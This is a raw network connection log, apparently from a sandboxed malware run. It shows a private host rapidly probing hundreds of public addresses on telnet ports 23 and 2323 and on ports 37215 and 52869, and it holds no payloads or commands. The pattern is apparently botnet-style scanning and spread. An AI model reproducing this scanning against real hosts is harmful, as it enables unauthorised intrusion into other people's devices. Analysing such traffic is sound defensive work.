Dec 4, 2024 20:34:38.257682085 CET	23	59430	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.257683992 CET	37024	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.257709980 CET	58748	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.257714987 CET	59430	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.257728100 CET	2323	43196	110.249.17.90	192.168.2.14
Dec 4, 2024 20:34:38.257750988 CET	37215	55966	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:38.257765055 CET	37215	34400	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:38.257776022 CET	37215	55966	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:38.257778883 CET	43196	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:38.257785082 CET	37215	34400	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:38.257818937 CET	55966	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:38.257818937 CET	34400	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:38.257900953 CET	23	46068	35.73.23.33	192.168.2.14
Dec 4, 2024 20:34:38.257944107 CET	46068	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:38.303880930 CET	60019	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.303883076 CET	60019	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.303885937 CET	60019	52869	192.168.2.14	197.9.154.184
Dec 4, 2024 20:34:38.303885937 CET	60019	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:38.303900957 CET	60019	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.303900957 CET	60019	52869	192.168.2.14	197.180.204.166
Dec 4, 2024 20:34:38.303900957 CET	60019	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:38.303905010 CET	60019	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.303904057 CET	60019	52869	192.168.2.14	197.78.171.20
Dec 4, 2024 20:34:38.303906918 CET	60019	52869	192.168.2.14	156.144.80.131
Dec 4, 2024 20:34:38.303905010 CET	60019	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.303905010 CET	60019	52869	192.168.2.14	156.179.44.161
Dec 4, 2024 20:34:38.303906918 CET	60019	52869	192.168.2.14	41.14.117.75
Dec 4, 2024 20:34:38.303906918 CET	60019	52869	192.168.2.14	156.52.36.57
Dec 4, 2024 20:34:38.303930998 CET	60019	52869	192.168.2.14	41.78.173.43
Dec 4, 2024 20:34:38.303930044 CET	60019	52869	192.168.2.14	41.174.215.216
Dec 4, 2024 20:34:38.303930998 CET	60019	52869	192.168.2.14	41.205.25.140
Dec 4, 2024 20:34:38.303930044 CET	60019	52869	192.168.2.14	41.236.165.30
Dec 4, 2024 20:34:38.303930998 CET	60019	52869	192.168.2.14	197.229.23.22
Dec 4, 2024 20:34:38.303935051 CET	60019	52869	192.168.2.14	197.231.115.46
Dec 4, 2024 20:34:38.303935051 CET	60019	52869	192.168.2.14	197.173.165.50
Dec 4, 2024 20:34:38.303935051 CET	60019	52869	192.168.2.14	197.178.107.2
Dec 4, 2024 20:34:38.303935051 CET	60019	52869	192.168.2.14	41.155.0.1
Dec 4, 2024 20:34:38.303936005 CET	60019	52869	192.168.2.14	156.105.48.35
Dec 4, 2024 20:34:38.303935051 CET	60019	52869	192.168.2.14	41.65.118.165
Dec 4, 2024 20:34:38.303936005 CET	60019	52869	192.168.2.14	197.199.44.238
Dec 4, 2024 20:34:38.303936005 CET	60019	52869	192.168.2.14	156.176.229.155
Dec 4, 2024 20:34:38.303936005 CET	60019	52869	192.168.2.14	156.119.0.229
Dec 4, 2024 20:34:38.303941011 CET	60019	52869	192.168.2.14	156.7.19.46
Dec 4, 2024 20:34:38.303941011 CET	60019	52869	192.168.2.14	41.209.43.74
Dec 4, 2024 20:34:38.303941965 CET	60019	52869	192.168.2.14	197.134.4.35
Dec 4, 2024 20:34:38.303941965 CET	60019	52869	192.168.2.14	197.128.29.18
Dec 4, 2024 20:34:38.303944111 CET	60019	52869	192.168.2.14	41.144.15.119
Dec 4, 2024 20:34:38.303941011 CET	60019	52869	192.168.2.14	156.87.96.219
Dec 4, 2024 20:34:38.303941965 CET	60019	52869	192.168.2.14	156.186.124.233
Dec 4, 2024 20:34:38.303941965 CET	60019	52869	192.168.2.14	41.149.117.210
Dec 4, 2024 20:34:38.303944111 CET	60019	52869	192.168.2.14	197.16.117.245
Dec 4, 2024 20:34:38.303941965 CET	60019	52869	192.168.2.14	156.219.139.118
Dec 4, 2024 20:34:38.303944111 CET	60019	52869	192.168.2.14	41.234.214.244
Dec 4, 2024 20:34:38.303947926 CET	60019	52869	192.168.2.14	197.138.249.183
Dec 4, 2024 20:34:38.303941965 CET	60019	52869	192.168.2.14	156.59.227.177
Dec 4, 2024 20:34:38.303947926 CET	60019	52869	192.168.2.14	156.4.8.50
Dec 4, 2024 20:34:38.303949118 CET	60019	52869	192.168.2.14	156.221.128.58
Dec 4, 2024 20:34:38.303947926 CET	60019	52869	192.168.2.14	41.232.122.129
Dec 4, 2024 20:34:38.303942919 CET	60019	52869	192.168.2.14	156.116.193.172
Dec 4, 2024 20:34:38.303949118 CET	60019	52869	192.168.2.14	156.0.154.200
Dec 4, 2024 20:34:38.303942919 CET	60019	52869	192.168.2.14	156.66.244.99
Dec 4, 2024 20:34:38.303949118 CET	60019	52869	192.168.2.14	41.244.0.32
Dec 4, 2024 20:34:38.303942919 CET	60019	52869	192.168.2.14	41.108.23.127
Dec 4, 2024 20:34:38.303949118 CET	60019	52869	192.168.2.14	197.12.89.64
Dec 4, 2024 20:34:38.303949118 CET	60019	52869	192.168.2.14	197.254.90.85
Dec 4, 2024 20:34:38.303952932 CET	60019	52869	192.168.2.14	156.175.110.203
Dec 4, 2024 20:34:38.303952932 CET	60019	52869	192.168.2.14	156.13.90.84
Dec 4, 2024 20:34:38.303952932 CET	60019	52869	192.168.2.14	156.127.170.221
Dec 4, 2024 20:34:38.303956985 CET	60019	52869	192.168.2.14	156.228.161.174
Dec 4, 2024 20:34:38.303956985 CET	60019	52869	192.168.2.14	197.194.228.38
Dec 4, 2024 20:34:38.303956985 CET	60019	52869	192.168.2.14	156.148.25.52
Dec 4, 2024 20:34:38.303956985 CET	60019	52869	192.168.2.14	41.71.253.124
Dec 4, 2024 20:34:38.303958893 CET	60019	52869	192.168.2.14	197.203.10.11
Dec 4, 2024 20:34:38.303960085 CET	60019	52869	192.168.2.14	41.146.211.84
Dec 4, 2024 20:34:38.303960085 CET	60019	52869	192.168.2.14	41.156.85.209
Dec 4, 2024 20:34:38.303960085 CET	60019	52869	192.168.2.14	197.201.115.142
Dec 4, 2024 20:34:38.303960085 CET	60019	52869	192.168.2.14	156.59.18.34
Dec 4, 2024 20:34:38.303960085 CET	60019	52869	192.168.2.14	197.237.76.65
Dec 4, 2024 20:34:38.303961992 CET	60019	52869	192.168.2.14	197.190.115.50
Dec 4, 2024 20:34:38.303965092 CET	60019	52869	192.168.2.14	41.176.70.92
Dec 4, 2024 20:34:38.303966045 CET	60019	52869	192.168.2.14	41.168.44.239
Dec 4, 2024 20:34:38.303967953 CET	60019	52869	192.168.2.14	156.254.42.14
Dec 4, 2024 20:34:38.303972006 CET	60019	52869	192.168.2.14	156.207.11.109
Dec 4, 2024 20:34:38.303977013 CET	60019	52869	192.168.2.14	197.87.33.27
Dec 4, 2024 20:34:38.303972006 CET	60019	52869	192.168.2.14	156.101.145.9
Dec 4, 2024 20:34:38.303972006 CET	60019	52869	192.168.2.14	197.83.114.80
Dec 4, 2024 20:34:38.303972006 CET	60019	52869	192.168.2.14	197.138.204.37
Dec 4, 2024 20:34:38.303972006 CET	60019	52869	192.168.2.14	197.176.38.170
Dec 4, 2024 20:34:38.303986073 CET	60019	52869	192.168.2.14	156.206.5.240
Dec 4, 2024 20:34:38.303991079 CET	60019	52869	192.168.2.14	156.98.90.149
Dec 4, 2024 20:34:38.303992987 CET	60019	52869	192.168.2.14	197.173.237.174
Dec 4, 2024 20:34:38.304001093 CET	60019	52869	192.168.2.14	156.106.225.214
Dec 4, 2024 20:34:38.304004908 CET	60019	52869	192.168.2.14	197.24.161.253
Dec 4, 2024 20:34:38.304013968 CET	60019	52869	192.168.2.14	41.117.144.143
Dec 4, 2024 20:34:38.304014921 CET	60019	52869	192.168.2.14	41.90.157.5
Dec 4, 2024 20:34:38.304014921 CET	60019	52869	192.168.2.14	156.31.43.62
Dec 4, 2024 20:34:38.304018974 CET	60019	52869	192.168.2.14	197.206.223.92
Dec 4, 2024 20:34:38.304018974 CET	60019	52869	192.168.2.14	156.196.45.86
Dec 4, 2024 20:34:38.304027081 CET	60019	52869	192.168.2.14	41.210.192.188
Dec 4, 2024 20:34:38.304028988 CET	60019	52869	192.168.2.14	156.220.31.236
Dec 4, 2024 20:34:38.304028988 CET	60019	52869	192.168.2.14	156.127.52.75
Dec 4, 2024 20:34:38.304034948 CET	60019	52869	192.168.2.14	41.13.48.138
Dec 4, 2024 20:34:38.304052114 CET	60019	52869	192.168.2.14	197.232.94.221
Dec 4, 2024 20:34:38.304052114 CET	60019	52869	192.168.2.14	156.31.131.51
Dec 4, 2024 20:34:38.304059982 CET	60019	52869	192.168.2.14	197.149.15.78
Dec 4, 2024 20:34:38.304059982 CET	60019	52869	192.168.2.14	41.38.86.168
Dec 4, 2024 20:34:38.304060936 CET	60019	52869	192.168.2.14	41.134.181.17
Dec 4, 2024 20:34:38.304069996 CET	60019	52869	192.168.2.14	156.140.227.0
Dec 4, 2024 20:34:38.304075956 CET	60019	52869	192.168.2.14	197.83.35.134
Dec 4, 2024 20:34:38.304081917 CET	60019	52869	192.168.2.14	41.19.7.210
Dec 4, 2024 20:34:38.304090023 CET	60019	52869	192.168.2.14	156.216.133.47
Dec 4, 2024 20:34:38.304092884 CET	60019	52869	192.168.2.14	156.42.76.251
Dec 4, 2024 20:34:38.304097891 CET	60019	52869	192.168.2.14	156.46.130.46
Dec 4, 2024 20:34:38.304099083 CET	60019	52869	192.168.2.14	197.60.123.61
Dec 4, 2024 20:34:38.304100037 CET	60019	52869	192.168.2.14	156.1.249.119
Dec 4, 2024 20:34:38.304109097 CET	60019	52869	192.168.2.14	41.35.185.155
Dec 4, 2024 20:34:38.304111004 CET	60019	52869	192.168.2.14	197.205.254.4
Dec 4, 2024 20:34:38.304116964 CET	60019	52869	192.168.2.14	197.196.90.32
Dec 4, 2024 20:34:38.304126978 CET	60019	52869	192.168.2.14	197.40.30.250
Dec 4, 2024 20:34:38.304126978 CET	60019	52869	192.168.2.14	197.3.25.144
Dec 4, 2024 20:34:38.304140091 CET	60019	52869	192.168.2.14	197.91.133.255
Dec 4, 2024 20:34:38.304141998 CET	60019	52869	192.168.2.14	41.180.175.149
Dec 4, 2024 20:34:38.304142952 CET	60019	52869	192.168.2.14	41.121.95.30
Dec 4, 2024 20:34:38.304148912 CET	60019	52869	192.168.2.14	156.167.176.5
Dec 4, 2024 20:34:38.304158926 CET	60019	52869	192.168.2.14	41.139.12.200
Dec 4, 2024 20:34:38.304160118 CET	60019	52869	192.168.2.14	197.184.31.140
Dec 4, 2024 20:34:38.304174900 CET	60019	52869	192.168.2.14	156.25.71.42
Dec 4, 2024 20:34:38.304174900 CET	60019	52869	192.168.2.14	197.59.251.231
Dec 4, 2024 20:34:38.304176092 CET	60019	52869	192.168.2.14	41.147.113.195
Dec 4, 2024 20:34:38.304194927 CET	60019	52869	192.168.2.14	41.8.22.65
Dec 4, 2024 20:34:38.304194927 CET	60019	52869	192.168.2.14	41.91.20.170
Dec 4, 2024 20:34:38.304202080 CET	60019	52869	192.168.2.14	156.132.174.15
Dec 4, 2024 20:34:38.304209948 CET	60019	52869	192.168.2.14	197.192.169.63
Dec 4, 2024 20:34:38.304220915 CET	60019	52869	192.168.2.14	156.212.217.35
Dec 4, 2024 20:34:38.304220915 CET	60019	52869	192.168.2.14	197.6.147.149
Dec 4, 2024 20:34:38.304224968 CET	60019	52869	192.168.2.14	197.0.148.63
Dec 4, 2024 20:34:38.304239035 CET	60019	52869	192.168.2.14	41.102.239.248
Dec 4, 2024 20:34:38.304239035 CET	60019	52869	192.168.2.14	156.159.38.162
Dec 4, 2024 20:34:38.304239988 CET	60019	52869	192.168.2.14	41.35.213.131
Dec 4, 2024 20:34:38.304248095 CET	60019	52869	192.168.2.14	197.197.200.235
Dec 4, 2024 20:34:38.304248095 CET	60019	52869	192.168.2.14	41.20.151.253
Dec 4, 2024 20:34:38.304249048 CET	60019	52869	192.168.2.14	41.185.199.173
Dec 4, 2024 20:34:38.304259062 CET	60019	52869	192.168.2.14	41.234.112.43
Dec 4, 2024 20:34:38.304261923 CET	60019	52869	192.168.2.14	41.34.36.33
Dec 4, 2024 20:34:38.304264069 CET	60019	52869	192.168.2.14	41.247.66.142
Dec 4, 2024 20:34:38.304266930 CET	60019	52869	192.168.2.14	41.24.152.126
Dec 4, 2024 20:34:38.304274082 CET	60019	52869	192.168.2.14	197.1.170.238
Dec 4, 2024 20:34:38.304274082 CET	60019	52869	192.168.2.14	156.115.193.87
Dec 4, 2024 20:34:38.304286957 CET	60019	52869	192.168.2.14	197.180.211.241
Dec 4, 2024 20:34:38.304286957 CET	60019	52869	192.168.2.14	197.137.233.66
Dec 4, 2024 20:34:38.304294109 CET	60019	52869	192.168.2.14	41.136.126.218
Dec 4, 2024 20:34:38.304294109 CET	60019	52869	192.168.2.14	156.180.238.154
Dec 4, 2024 20:34:38.304299116 CET	60019	52869	192.168.2.14	41.103.112.28
Dec 4, 2024 20:34:38.304300070 CET	60019	52869	192.168.2.14	41.248.118.131
Dec 4, 2024 20:34:38.304300070 CET	60019	52869	192.168.2.14	156.208.8.206
Dec 4, 2024 20:34:38.304303885 CET	60019	52869	192.168.2.14	156.107.223.237
Dec 4, 2024 20:34:38.304318905 CET	60019	52869	192.168.2.14	197.171.61.153
Dec 4, 2024 20:34:38.304318905 CET	60019	52869	192.168.2.14	197.110.152.211
Dec 4, 2024 20:34:38.304326057 CET	60019	52869	192.168.2.14	41.24.161.42
Dec 4, 2024 20:34:38.304335117 CET	60019	52869	192.168.2.14	41.159.108.242
Dec 4, 2024 20:34:38.304337025 CET	60019	52869	192.168.2.14	156.124.47.218
Dec 4, 2024 20:34:38.304358006 CET	60019	52869	192.168.2.14	41.90.57.8
Dec 4, 2024 20:34:38.304359913 CET	60019	52869	192.168.2.14	41.90.145.254
Dec 4, 2024 20:34:38.304363966 CET	60019	52869	192.168.2.14	41.119.29.98
Dec 4, 2024 20:34:38.304363966 CET	60019	52869	192.168.2.14	41.223.187.116
Dec 4, 2024 20:34:38.304363966 CET	60019	52869	192.168.2.14	156.152.233.224
Dec 4, 2024 20:34:38.304364920 CET	60019	52869	192.168.2.14	41.166.185.11
Dec 4, 2024 20:34:38.304363966 CET	60019	52869	192.168.2.14	197.31.4.39
Dec 4, 2024 20:34:38.304377079 CET	60019	52869	192.168.2.14	156.103.125.191
Dec 4, 2024 20:34:38.304378033 CET	60019	52869	192.168.2.14	41.25.141.78
Dec 4, 2024 20:34:38.304378033 CET	60019	52869	192.168.2.14	197.44.179.10
Dec 4, 2024 20:34:38.304383039 CET	60019	52869	192.168.2.14	197.95.241.224
Dec 4, 2024 20:34:38.304389954 CET	60019	52869	192.168.2.14	156.173.112.43
Dec 4, 2024 20:34:38.304395914 CET	60019	52869	192.168.2.14	197.173.47.45
Dec 4, 2024 20:34:38.305028915 CET	56634	52869	192.168.2.14	197.161.3.245
Dec 4, 2024 20:34:38.305712938 CET	35368	52869	192.168.2.14	41.236.129.106
Dec 4, 2024 20:34:38.306374073 CET	42422	52869	192.168.2.14	156.73.107.240
Dec 4, 2024 20:34:38.307025909 CET	48622	52869	192.168.2.14	156.162.177.200
Dec 4, 2024 20:34:38.307678938 CET	36188	52869	192.168.2.14	41.82.237.63
Dec 4, 2024 20:34:38.308320999 CET	44072	52869	192.168.2.14	197.70.137.31
Dec 4, 2024 20:34:38.308949947 CET	49906	52869	192.168.2.14	156.118.174.148
Dec 4, 2024 20:34:38.309588909 CET	34762	52869	192.168.2.14	156.57.20.17
Dec 4, 2024 20:34:38.310231924 CET	48034	52869	192.168.2.14	41.147.170.43
Dec 4, 2024 20:34:38.310887098 CET	60714	52869	192.168.2.14	156.124.74.167
Dec 4, 2024 20:34:38.318965912 CET	52869	55812	41.9.114.218	192.168.2.14
Dec 4, 2024 20:34:38.319048882 CET	55812	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.319067955 CET	52869	34282	197.252.2.42	192.168.2.14
Dec 4, 2024 20:34:38.319091082 CET	52869	50966	156.6.64.219	192.168.2.14
Dec 4, 2024 20:34:38.319091082 CET	55812	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.319102049 CET	52869	47126	156.151.97.199	192.168.2.14
Dec 4, 2024 20:34:38.319104910 CET	34282	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:38.319108009 CET	55812	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.319112062 CET	52869	56464	41.167.211.142	192.168.2.14
Dec 4, 2024 20:34:38.319124937 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:38.319135904 CET	52869	59414	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.319142103 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:38.319148064 CET	52869	46150	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:38.319154978 CET	47126	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:38.319170952 CET	52869	38464	156.110.11.142	192.168.2.14
Dec 4, 2024 20:34:38.319173098 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.319173098 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:38.319183111 CET	23	50430	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.319201946 CET	52869	41840	197.38.109.107	192.168.2.14
Dec 4, 2024 20:34:38.319211960 CET	23	48982	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:38.319214106 CET	38464	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:38.319221020 CET	52869	54822	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:38.319227934 CET	50430	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.319246054 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:38.319251060 CET	48982	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:38.319253922 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:38.319531918 CET	56394	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.319938898 CET	47126	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:38.319938898 CET	47126	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:38.320225000 CET	47712	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:38.320580959 CET	34282	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:38.320581913 CET	34282	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:38.320878983 CET	34866	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:38.321249008 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:38.321249008 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:38.321541071 CET	51550	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:38.321891069 CET	38464	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:38.321891069 CET	38464	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:38.322175026 CET	39048	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:38.322547913 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:38.322547913 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:38.322829962 CET	42424	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:38.323194981 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.323206902 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.323498011 CET	59998	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.323848963 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:38.323848963 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:38.324131966 CET	57048	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:38.324501991 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:38.324501991 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:38.324784040 CET	55406	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:38.325134993 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:38.325134993 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:38.325417995 CET	46732	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:38.326236010 CET	33506	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:38.326242924 CET	54342	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:38.326246023 CET	42916	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:38.326253891 CET	50236	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:38.326257944 CET	45838	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:38.326257944 CET	60334	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:38.326263905 CET	40176	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:38.326271057 CET	60776	52869	192.168.2.14	156.203.139.23
Dec 4, 2024 20:34:38.326277018 CET	41714	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:38.326277018 CET	45988	52869	192.168.2.14	156.141.19.59
Dec 4, 2024 20:34:38.326283932 CET	59532	52869	192.168.2.14	197.112.45.226
Dec 4, 2024 20:34:38.326296091 CET	40284	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:38.379359961 CET	37215	59134	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:38.379587889 CET	59134	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:38.380614042 CET	37215	46674	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:38.380656004 CET	37215	37246	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:38.380666971 CET	46674	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:38.380701065 CET	37246	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:38.380706072 CET	37215	40004	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:38.380748987 CET	40004	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:38.382100105 CET	23	32846	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.382108927 CET	23	46566	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.382194042 CET	23	42426	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.382250071 CET	46566	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.382251024 CET	32846	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.382317066 CET	23	33504	170.27.80.233	192.168.2.14
Dec 4, 2024 20:34:38.382320881 CET	46566	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.382474899 CET	23	60938	19.29.83.143	192.168.2.14
Dec 4, 2024 20:34:38.382536888 CET	2323	37024	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.382673025 CET	23	58748	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.382764101 CET	23	59430	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.382787943 CET	47192	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.382975101 CET	2323	43196	110.249.17.90	192.168.2.14
Dec 4, 2024 20:34:38.383094072 CET	23	46068	35.73.23.33	192.168.2.14
Dec 4, 2024 20:34:38.383188009 CET	32846	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.383451939 CET	33470	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.383845091 CET	59430	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.384114981 CET	59566	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.384505987 CET	58748	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.384793997 CET	58904	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.385158062 CET	37024	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.385464907 CET	37662	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.385817051 CET	42426	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.386099100 CET	43064	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.386225939 CET	46068	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:38.386226892 CET	60938	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:38.386250973 CET	33504	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:38.386456013 CET	60938	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:38.386719942 CET	33342	23	192.168.2.14	19.29.83.143
Dec 4, 2024 20:34:38.387124062 CET	33504	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:38.387393951 CET	34132	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:38.387751102 CET	43196	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:38.388012886 CET	43308	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:38.388391018 CET	46068	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:38.388683081 CET	46156	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:38.424668074 CET	52869	60019	156.59.157.82	192.168.2.14
Dec 4, 2024 20:34:38.424686909 CET	52869	60019	156.234.101.94	192.168.2.14
Dec 4, 2024 20:34:38.424690962 CET	52869	60019	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.424698114 CET	52869	60019	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.424715042 CET	52869	60019	197.9.154.184	192.168.2.14
Dec 4, 2024 20:34:38.424725056 CET	52869	60019	156.14.52.238	192.168.2.14
Dec 4, 2024 20:34:38.424730062 CET	52869	60019	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.424794912 CET	52869	60019	197.180.204.166	192.168.2.14
Dec 4, 2024 20:34:38.424812078 CET	52869	60019	197.78.171.20	192.168.2.14
Dec 4, 2024 20:34:38.424829006 CET	52869	60019	156.144.80.131	192.168.2.14
Dec 4, 2024 20:34:38.424832106 CET	60019	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.424832106 CET	60019	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.424839020 CET	52869	60019	197.75.6.220	192.168.2.14
Dec 4, 2024 20:34:38.424848080 CET	60019	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:38.424849033 CET	60019	52869	192.168.2.14	197.9.154.184
Dec 4, 2024 20:34:38.424851894 CET	60019	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.424851894 CET	60019	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.424853086 CET	60019	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.424854994 CET	60019	52869	192.168.2.14	197.180.204.166
Dec 4, 2024 20:34:38.424860954 CET	60019	52869	192.168.2.14	197.78.171.20
Dec 4, 2024 20:34:38.424864054 CET	60019	52869	192.168.2.14	156.144.80.131
Dec 4, 2024 20:34:38.424884081 CET	60019	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:38.439600945 CET	52869	55812	41.9.114.218	192.168.2.14
Dec 4, 2024 20:34:38.439954996 CET	52869	56394	41.9.114.218	192.168.2.14
Dec 4, 2024 20:34:38.440126896 CET	56394	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.440167904 CET	56394	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.440206051 CET	52869	47126	156.151.97.199	192.168.2.14
Dec 4, 2024 20:34:38.440489054 CET	52869	50966	156.6.64.219	192.168.2.14
Dec 4, 2024 20:34:38.440524101 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:38.440704107 CET	58824	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.440824986 CET	52869	56464	41.167.211.142	192.168.2.14
Dec 4, 2024 20:34:38.440869093 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:38.441174984 CET	52869	34282	197.252.2.42	192.168.2.14
Dec 4, 2024 20:34:38.441384077 CET	48640	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.441437006 CET	52869	47126	156.151.97.199	192.168.2.14
Dec 4, 2024 20:34:38.441627979 CET	52869	59414	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.441663027 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.441900969 CET	52869	50966	156.6.64.219	192.168.2.14
Dec 4, 2024 20:34:38.441993952 CET	52869	50966	156.6.64.219	192.168.2.14
Dec 4, 2024 20:34:38.442075968 CET	52869	46150	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:38.442081928 CET	37204	52869	192.168.2.14	156.234.101.94
